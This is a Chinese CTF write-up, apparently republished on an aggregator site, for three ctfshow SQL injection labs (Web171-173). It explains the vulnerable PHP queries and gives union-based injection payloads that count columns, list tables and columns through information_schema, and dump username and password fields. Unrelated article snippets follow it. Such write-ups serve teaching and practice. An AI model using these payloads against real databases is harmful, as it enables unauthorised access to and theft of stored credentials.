ctfshow(171,172,173)--SQL注入--联合注入

Web171

进入靶场,是一个SQL查询界面:
在这里插入图片描述

审计:

查询语句如下:

$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

语句功能从数据表user中查询username,password两个字段。
查询条件是username!='flag'并且id = '".$_GET['id']."' limit 1;"

比如当我们查询id=1的数据,id='1' limit 1;查询数据是以单引号形式闭合。
limit 1 的含义是当查询到相应的数据时,只返回一条数据。

思路:

我们能够控制的值只有$_GET['id'].
我们令id的值为:

id=-1' or username='flag

拼接到语句中产生的效果就是:

id='-1' or username='flag' limit 1;

or运算符的作用是:运算符前后只要有一个语句为true即可。
在这段语句中,or的前件是username !='flag' and id ='-1',后件是username='flag' limit 1。无论前件是true还是false,后件都将执行。
如果将or换成and,语句就变成了

username !='flag' and id ='-1' and username='flag' limit 1

由于username不可能在不等于flag的同时又等于flag,所以不能查询到flag。

EXP:

payload:
在这里插入图片描述

Web172

进入界面,是一只上吊的猫🐱:
在这里插入图片描述挺有趣的,但是注入要紧。
进入SELECT模块->无过滤注入2,开始注入:
在这里插入图片描述

审计:

查询语句和上一题一样:

$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

但是多了一步审查:

if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

对象row指的是查询出的行,如果该对象的username不为flag,才能查询成功。

思路/EXP:

不能直接查询username为flag的行了,选择使用联合注入爆库。
首先使用order by语句查询字段数。
2指的是字段数,–+是注释掉后面的语句。
当字段数小于或等于数据表的字段数时,能成功查询。

1' order by 2 --+

在这里插入图片描述当字段数大于数据表字段数时,查询失败。

1' order by 3 --+

在这里插入图片描述

然后union select联合查询
这里有两个注意点:
将前面的数字变为-1,因为数据表中没有id=-1的行,这样就不会查询出数据,防止查询的数据覆盖我们需要的回显。
第二点是联合查询后面的数字对应相应的字段。

-1' union select 1,2--+

在这里插入图片描述

查询数据库名
database()返回当前数据库名。

-1' union select 1,database()--+

在这里插入图片描述
查询数据表名
group_concat() 用于合并多行数据为一行输出。
这条语句的作用是查询ctfshow_web数据库中的全部数据表名。

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

在这里插入图片描述查询字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+

在这里插入图片描述查询字段中的数据

-1' union select 1,group_concat(username,password) from ctfshow_user--+

在这里插入图片描述flag不在这个表中,查询一下另一个表。

-1' union select 1,group_concat(username,password) from ctfshow_user2--+

在这里插入图片描述
得到flag.

Web173

界面如下:
在这里插入图片描述

审计:

查询语句依旧:

$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑:

if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

json_encode的作用是将PHP变量转换从json形式的字符串。
在字符串中匹配不到flag时,才能查询成功。

思路/EXP:

1' order by 3--+ //order by查出字段数为3
-1' union select 1,2,3--+
-1' union select 1,2,database()--+ //爆库名
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ //爆表名
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user3'--+ //爆字段名
-1' union select 1,2,group_concat(password) from ctfshow_user3--+ //爆数据

由于会检查返回的数据中有没有字符串flag,所以我们最后只返回password字段即可,因为username字段中含有flag,会导致被匹配到,从而获取数据失败。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/902589.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Continue语句应用举例

在main.cpp里输入程序如下 #include <iostream> //使能cin(),cout(); #include <iomanip> //使能setbase(),setfill(),setw(), //setprecision(),setiosflags()和resetiosflags(); using namespace std; //告诉编译器使用std标准程序库; int main() { i…

【AIGC】从CoT到BoT:AGI推理能力提升24%的技术变革如何驱动ChatGPT未来发展

博客主页&#xff1a; [小ᶻZ࿆] 本文专栏: AIGC | ChatGPT 文章目录 &#x1f4af;前言&#x1f4af;迈向AGI的新跨越&#x1f4af;BoT与CoT的技术对比技术原理差异推理性能提升应用范围和通用性从错误中学习的能力总结 &#x1f4af;BoT的工作流程和机制初始化过程生成推…

在微信里怎么创建秒杀活动

在这个快节奏的时代&#xff0c;每个人都渴望以最优惠的价格购买到心仪的商品。为了满足广大消费者的这一需求&#xff0c;我们特别在微信平台推出了限时秒杀活动&#xff0c;让你在指尖轻松享受购物的乐趣与实惠。 工具/原料 微信小程序 飞多多网站 方法/步骤 一、秒杀活动…

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-25

计算机前沿技术-人工智能算法-大语言模型-最新研究进展-2024-10-25 0. 前言 大语言模型在很多领域都有成功的应用&#xff0c;在本期计算机前沿技术进展研究介绍中&#xff0c;我们将带来一篇用大语言模型进行诺贝尔文学作品分析的论文。虽然有一定趁最近诺贝尔奖热潮的意味&…

本地docker部署中间件和应用

Docker Desktop搭建 安装完成之后使用docker下载镜像&#xff0c;报以下错误&#xff1a; 解决办法&#xff1a; Docker Engine配置能访问的镜像地址&#xff1a; {"builder": {"gc": {"defaultKeepStorage": "20GB","enabled…

【Keil5教程及技巧】耗时一周精心整理万字全网最全Keil5(MDK-ARM)功能详细介绍【建议收藏-细细品尝】

&#x1f48c; 所属专栏&#xff1a;【单片机开发软件技巧】 &#x1f600; 作  者&#xff1a; 于晓超 &#x1f680; 个人简介&#xff1a;嵌入式工程师&#xff0c;专注嵌入式领域基础和实战分享 &#xff0c;欢迎咨询&#xff01; &#x1f496; 欢迎大家&#xff1…

ARM学习(34) GDB 调试器详细了解

笔者来聊一下对于GDB的一些操作使用认识。 1、GDB的使用以及用途 GDB是GNU的一个项目&#xff0c;具体网站如下&#xff0c;网址&#xff1a;https://www.gnu.org/software/gdb/ 支持多种语言&#xff0c;常用的就是C/C/Python等等跨平台使用&#xff0c;Linux/windows/MacOS…

电机---3直流有刷减速电机

前言 在简单了解电机分类后&#xff0c;为了能够更深入学习了解电机、编码器、PID算法等内容&#xff0c;选择使用野火的直流减速有刷电机和其驱动板进行学习&#xff0c;单片机开发板选择野火的指南者开发板。 1直流有刷减速电机 直流有刷电机转速快&#xff0c;扭矩小&…

SQL Server 当前日期及其未来三天的日期

当前日期及其未来三天的日期&#xff0c;并分别以 YYYY-MM-DD 和 yyyyMMdd 的格式展示 1、当前日期及其未来三天的日期&#xff0c;以 YYYY-MM-DD的格式展示 WITH CurrentDate AS (SELECT GETDATE() AS 当前日期 ) -- 使用 CONVERT 函数 SELECTCONVERT(VARCHAR(10), 当前日期,…

【Android】ViewPager与ViewPager2之间的区别

ViewPager 和 ViewPager2 都是 Android 中用于实现滑动页面切换的控件&#xff0c;但 ViewPager2 是对 ViewPager 的改进和增强版本。 区别 实现方式 ViewPager 继承自 ViewGroup&#xff0c;内部并未使用已有的成熟控件&#xff0c;更多的是自定义的操作。ViewPager2 也继承…

【verilog】模十计数器

文章目录 前言代码 前言 进行 FPGA 模十计数器 实验 仿真结果 代码 主代码 // module module count(clk,rst_n,count,clk1,led);// def io input clk; input rst_n; output reg [3:0] count; output reg clk1; output reg [7:0] led;// always part, or main() always (pos…

【吐槽】豪斯医生之二:第 4-6 集

写在前面 5841 字 | 医学 | 吐槽 | 电视剧 正文 维基百科&#xff1a;   利巴韦林&#xff08;英语&#xff1a;Ribavirin&#xff0c;俗称病毒唑&#xff09;&#xff0c;是一种抗病毒药&#xff0c;属合成核苷类药&#xff0c;1970 年由 ICN 制药公司 Joseph T. Witkowsk…

景区导航地图怎么实现?基于LBS与3D GIS的智慧景区导航导览系统技术路线

随着经济的发展和人们物质生活水平改善,居民的旅游需求呈现多元化和个性化&#xff0c;自助旅游的人越来越多。许多游客在旅游行程中需要随时随地了解旅游景点有关的各类信息&#xff0c;如旅游景点介绍、推荐路线、地图导航等&#xff0c;合理规划和安排旅游线路。正是为了应对…

Docker | images镜像的常用命令总结

命令总结 1. 帮助启动类命令基本命令systemctl status dockerdocker infodocker --help 2. 镜像命令docker images删除镜像出现错误 docker searchdocker pull xxx[:TAG]docker images -adocker images -qdocker system dfdocker rmi -f xxxxxdocker rmi -f $(docker images -q…

Python量子生成对抗网络QGAN神经网络药物发现、多方法乳腺癌药物筛选应用

全文链接&#xff1a;https://tecdat.cn/?p37975 分析师&#xff1a;Chenhao Wu 在当今的医学领域&#xff0c;乳腺癌作为一种严重威胁女性健康的疾病&#xff0c;其治疗一直是科研工作者们关注的焦点。乳腺癌的发展与雌激素受体密切相关&#xff0c;其中 ERα 被视为治疗乳腺…

还愁布线呢?那是你没看过这篇

号主&#xff1a;老杨丨11年资深网络工程师&#xff0c;更多网工提升干货&#xff0c;请关注公众号&#xff1a;网络工程师俱乐部 上午好&#xff0c;我的网工朋友 综合布线作为网工工作中的基础部分&#xff0c;其设计和实施的质量直接影响到整个系统的稳定性和可靠性。对于咱…

面了 minimax 大模型算法岗,问的贼细!

不同以往的是&#xff0c;当前职场环境已不再是那个双向奔赴时代了。求职者在变多&#xff0c;HC 在变少&#xff0c;岗位要求还更高了。 最近&#xff0c;我们又陆续整理了很多大厂的面试题&#xff0c;帮助一些球友解惑答疑&#xff0c;分享技术面试中的那些弯弯绕绕。 今天…

【架构】Service Mesh

文章目录 概述微服务架构对比Rainbond与ServiceMesh来源 概述 Service Mesh 公认的定义&#xff0c;是用以处理服务与服务之间通信的专用基础设施层。更本质的理解&#xff0c;它是服务治理平台&#xff0c;是业务逻辑解耦的必然产物&#xff0c;是数字经济背景下企业对研发效…

基于flask和neo4j的医疗知识图谱展示问答系统

如果你仍在为毕业设计的选题发愁&#xff0c;或者想通过技术项目提升专业实力&#xff0c;这个基于Flask和Neo4j的医疗知识图谱展示与问答系统&#xff0c;绝对是个不错的选择&#xff01; 项目亮点大揭秘&#xff1a; 知识图谱与问答结合&#xff1a;我们采用了医疗场景下的知…

remote: HTTP Basic: Access denied

解决方法 输入&#xff1a; git config --system --unset credential.helper 再次进行 Git 操作&#xff0c;输入正确的用户名&#xff0c;密码即可。